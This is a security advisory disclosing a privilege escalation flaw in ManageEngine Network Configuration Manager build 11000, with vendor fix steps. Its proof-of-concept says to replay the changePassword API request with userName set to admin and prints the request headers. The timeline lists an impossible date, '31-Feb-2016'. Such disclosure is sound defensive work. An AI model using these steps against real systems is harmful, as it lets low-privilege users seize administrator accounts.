Privilege escalation Vulnerability in ManageEngine Network Configuration Management Feb 09 2016 04:48PM
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Privilege escalation Vulnerability in ManageEngine Network Configuration Management

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Title:- Privilege escalation Vulnerability in ManageEngine Network Configuration Management
Author: Kaustubh G. Padwad
Vendor: ZOHO Corp
Product: ManageEngine Network Configuration Manager
Tested Version: : Network Configuration Manager Build 11000
Severity: HIGH

Advisory ID

About the Product:

Network Configuration Manager is a web?based, multi vendor network change, configuration and compliance management (NCCCM) solution for switches, routers, firewalls and other network devices. Trusted by thousands of network administrators around the world, Network Configuration Manager helps automate and take total control of the entire life cycle of device configuration management.


This Privilege escalation vulnerability enables an Normal user to escalate privilege and become administrator of the application.

Vulnerability Class:
Top 10 2014-I2 Insufficient Authentication/Authorization https://www.owasp.org/index.php/Top_10_2014-I2_Insufficient_Authenticati

How to Reproduce: (POC):

* you should have Operator Account on Network Configuration Management

* login with that account to get api key something like user_1453993872278

* Setup Burp and use change user password request and change userName to admin and newPwd to desire password HUrry you are admin now. :)


Burp Requst
POST /nfaapi/json/admin/changePassword HTTP/1.1


User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.5.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest


Content-Length: 50

Cookie: OPUTILSJSESSIONID=E062B23129AA1269EF13794C7710DF8E; JSESSIONID=FBA6ADEE16123786896DF765CA4C9E87; NFA_Jsession=0BF63F9CE8F4DCF664857F92403D8B44; iamcsrfcookie=fbcc4bcb-34ea-4cc8-8cb3-e95dbfc0603d; NFA__SSO=0ED579E64493B973F5BCA1C94EAD6310

Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Access-Control-Allow-Origin: *

Access-Control-Allow-Methods: GET,POST

Access-Control-Max-Age: 5000

Content-Type: application/json;charset=UTF-8

Date: Sat, 30 Jan 2016 20:22:15 GMT

Content-Length: 23



* Please Stop Network configuration manager service.
* Open Ncm\lib and cut AdvNCM.jar and paste it in to Desktop.
* Download the AdvNCM.jar file from below link and paste it under Ncm\lib
* https://uploads.zohocorp.com/Internal_Useruploads/dnd/DeviceExpert/o_1ab
* Open Ncm\logs and delete all the files inside it,
* Start the Ncm service and check the issue.

* 31-JAN-2016 Repoerted to vendor
* 31-Feb-2016 Ack by Vendor
* 09-Feb-2016 Fixed By Vendor

* Kaustubh Padwad
* Information Security Researcher
* kingkaustubh (at) me (dot) com [email concealed]
* https://twitter.com/s3curityb3ast
* http://breakthesec.com
* https://www.linkedin.com/in/kaustubhpadwad

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